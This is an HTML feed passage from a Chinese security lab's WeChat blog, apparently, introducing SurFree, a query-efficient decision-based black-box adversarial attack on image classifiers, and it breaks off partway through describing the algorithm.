100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=64f785c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-from="0"></mpprofile></section><section style="margin: 15px 0px 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin: 5px 0px 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="outline: 0px;max-width: 100%;margin-left: 0px;margin-right: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="outline: 0px;max-width: 100%;text-align: left;margin-left: 0px;margin-right: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓</span>↓点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;">，了解更多墨云信息</span></span></section></section><section style="margin: 0.8em 8px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;"></span></section><section style="margin: 0.8em 8px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;"></span></section>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0bf65d82&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247484734%26idx%3D1%26sn%3Dcd777218ab931ba4fc520d5c4de058cb%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 19 May 2022 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>一种快速的无代替模型的黑盒对抗攻击算法SurFree</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484650&amp;idx=1&amp;sn=9126c288f84d1d3d1e9e9a7d4410ef06</link>
      <description>本文介绍了SurFree，这是一种基于几何原理的对抗攻击算法，可以在最苛刻的条件下，即基于黑盒决策的攻击，仅仅依赖最终的分类标签来大幅减少查询花销。</description>
      <content:encoded><![CDATA[<p>
原创 <span>seven010</span> <span>2022-04-07 18:05</span> <span style="display: inline-block;"></span>
</p>

<p>本文介绍了SurFree，这是一种基于几何原理的对抗攻击算法，可以在最苛刻的条件下，即基于黑盒决策的攻击，仅仅依赖最终的分类标签来大幅减少查询花销。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=020fcb4b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hRhPJBYk9I6xpXA4rU5ibBGTrWuaFCfd8YcCyXcDgsYSicp8CG1iazEDTw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 84px !important;" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=31358ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg"/></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">V-lab实验室</span></strong></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" style="outline: 0px;font-size: 16px;letter-spacing: 0.544px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 67.691px !important;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=183be400&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-right: 8px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><h1 cid="n2" mdtype="heading" style="margin-left: 8px;margin-right: 8px;text-indent: 0em;"><span style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">今天笔者给大家推荐一篇高效的基于决策的黑盒对抗攻击算法的文章——<strong>SurFree: a fast surrogate-free black-box attack</strong>，目前该工作已被CVPR2021录用。</span></h1><p><span style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><section style="margin-left: 8px;margin-right: 8px;"><span style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.273972602739726" data-w="876" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9d03dad1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hZScrlZ7UgJGpVNco7VGvyyUIzthJPNkds0zhZqOL409Ts0cicF8Z06g%2F640%3Fwx_fmt%3Dpng"/></span></section><p style="margin-left: 8px;margin-right: 8px;text-indent: 0em;text-align: left;"><span style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">论文地址：</span><span style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://arxiv.org/abs/2011.12807v1\" target="_blank">https://arxiv.org/abs/2011.12807v1\</a></span></p><h2 cid="n0" mdtype="heading" style="margin: 1rem 8px;outline: 0px;font-weight: bold;font-size: 1.75em;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;text-indent: 0em;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">黑盒攻击</span></strong></h2><section style="margin-left: 8px;margin-right: 8px;text-indent: 0em;"><br/></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.31839080459770114" data-s="300,640" style="" data-type="png" data-w="870" src="https://wechat2rss.xlab.app/img-proxy/?k=38f34c7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hxyZCpyibpDKiaAWUbIpR3UaMp4zr3FOmD4WjSMLk1NOJ5Fibq2AmwdekA%2F640%3Fwx_fmt%3Dpng"/></p><section style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 8px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><strong><span style="font-size: 15px;box-sizing: border-box;">基于分数的黑盒攻击算法</span></strong><span style="font-size: 15px;box-sizing: border-box;">是根据目标模型对输入样本的输出，即<span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">各个类别的概率分数</strong></span>来估计目标模型损失函数的梯度，进而构造相应的对抗样本。整个过程既不需要知道目标模型的内部信息，也不需要训练额外的替代模型。</span></section><section style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 8px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><strong><span style="font-size: 15px;box-sizing: border-box;">基于决策的黑盒攻击算法</span></strong><span style="font-size: 15px;box-sizing: border-box;">的特点是仅仅依靠目标模型返回的<span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">最终标签类别</strong></span>来生成对抗样本。相比其他两类攻击方法，基于决策的黑盒攻击算法既不需要训练替代模型，也不需要知道每个输入样本归属于各个类别的概率分数，但往往需要向目标模型进行更多次的查询以达到最优的攻击性能。该类型攻击又称为hard-label attack。</span></section><section style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 8px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><strong><span style="font-size: 15px;box-sizing: border-box;">基于<span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">可迁移性</strong></span>的黑盒攻击，</span></strong><span style="font-size: 15px;box-sizing: border-box;">针对某一种机器学习模型的对抗样本常常也会被其它的机器学习模型错误分类。为了攻击目标模型，攻击者首先会训练一个与目标模型尽可能相似的<strong>替代模型</strong>。对于攻击者而言，替代模型的全部信息都是已知的，因此可以使用已有的白盒对抗攻击算法来生成能够成功欺骗替代模型的对抗样本，根据对抗样本的可迁移性，这些对抗样本大概率也能成功欺骗攻击者真正想要攻击的目标模型。</span></section><h2 cid="n0" mdtype="heading" style="margin: 1rem 8px;font-weight: bold;font-size: 1.75em;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">SurFree攻击</span></strong></h2><section style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 8px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: justify;"><strong><span style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">算法概要</span></strong></section><p cid="n12" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 8px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: justify;"><span style="font-size: 15px;box-sizing: border-box;">机器学习分类器极易受到对抗样本的攻击。所谓对抗样本，是指在数据集中通过故意添加细微的干扰所形成的输入样本，并导致模型给出一个高置信度的错误输出，同时在人类视觉感知上保持与原始样本的高度一致。在过去几年中，为了伪造对抗样本，黑盒攻击向目标分类器提交的查询数量显著减少，这方面研究的进展主要集中于基于分数的黑盒攻击，即攻击者通过获得的分类预测概率实现攻击，将其查询量从数百万次减少到不足一千次。</span></p><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 8px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: justify;"><span style="font-size: 15px;box-sizing: border-box;">本文介绍的SurFree是一种基于几何原理的对抗攻击算法，可以在最苛刻的条件下，即基于黑盒决策的攻击，仅依赖最终的分类标签来大幅减少查询花销。在苛刻条件下实现优秀的对抗攻击，HSJA、QEBA 和 GeoDA 都执行了代价高昂的梯度代理估计，而SurFree避免了代价高昂的梯度代理估计，基于分类器决策边界的几何特性制导，专注于沿着不同方向的探索。在与其他最新的攻击算法进行正面比较之前，笔者对SurFree进行了实验，并重点关注查询量，<span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;white-space: pre-wrap;">SurFree</span>在低查询量（几百到一千）的情况下表现出更快的失真衰减，而在更高的查询预算下保持更强竞争力。</span></p><section style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 8px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: justify;"><span style="font-size: 15px;"><strong style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;letter-spacing: 0.544px;orphans: 4;text-align: start;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;"><span style="font-size: 15px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">算法介绍</span></strong></span></strong></span></section><section style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 8px;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: justify;"><span style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">作者认为之前做梯度估计的方法会在估计梯度时采样B个样本，从而浪费了大量的查询。下图展示了随着查询数量的增多，其扰动导致的失真情况。通过对350多幅图像求平均值可知，其他攻击的失真情况表现出明显的阶梯形状。</span></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hs2VvKX9VNLFf7YEP4eicRAoVtw0MicO7ibPWKPZXIttLKVsZutuXJvia5Q/640?wx_fmt=png" data-cropx1="0" data-cropx2="595" data-cropy1="0" data-cropy2="308.78243512974046" data-galleryid="" data-ratio="0.5176470588235295" data-s="300,640" style="width: 501px;height: 260px;" data-type="jpeg" data-w="595" src="https://wechat2rss.xlab.app/img-proxy/?k=c228772a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hF6ZGCHbOaPECia8YDV2eSbMIJMIFKiaed6SibRiaYbw3h0ribYJAGp8CUEw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="margin-left: 8px;margin-right: 8px;text-indent: 0em;text-align: center;"><span style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;">图一</span></p><section style="margin-left: 8px;margin-right: 8px;text-indent: 0em;"><span style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">为了避免冗余的梯度估计，作者提出了一种有效的随机搜索方法，即将原始样本</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0661764705882353" data-s="300,640" style="text-align: center;width: 20px;height: 21px;" data-type="png" data-w="136" src="https://wechat2rss.xlab.app/img-proxy/?k=c1d96fbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hpfHQSHWVJZFRXktzfyKsYGicFmD10AnA43Kib62F6SicQZKaib5ibxToY5Q%2F640%3Fwx_fmt%3Dpng"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">与当前在边界上的对抗样本</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0296296296296297" data-s="300,640" style="text-align: center;text-indent: 0em;width: 21px;height: 22px;" data-type="png" data-w="135" src="https://wechat2rss.xlab.app/img-proxy/?k=b99e1902&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hdPzaib9Y5MPSJvo4O9OEmticzpSUWO3TUKh6QWgynicF2qoiabiaTMdpPRQ%2F640%3Fwx_fmt%3Dpng"/><span style="text-align: center;text-indent: 0em;"></span><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">起</span><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">来，通过施密特正交化产生一个随机正交向量，保证与连接的向量以及之前采样过的向量都正交，然后在该正交向量与连接向量构成的超平面内搜索，代替其在整个高维空间内搜索。</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;"></span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;"></span><span style="background-color: rgb(255, 255, 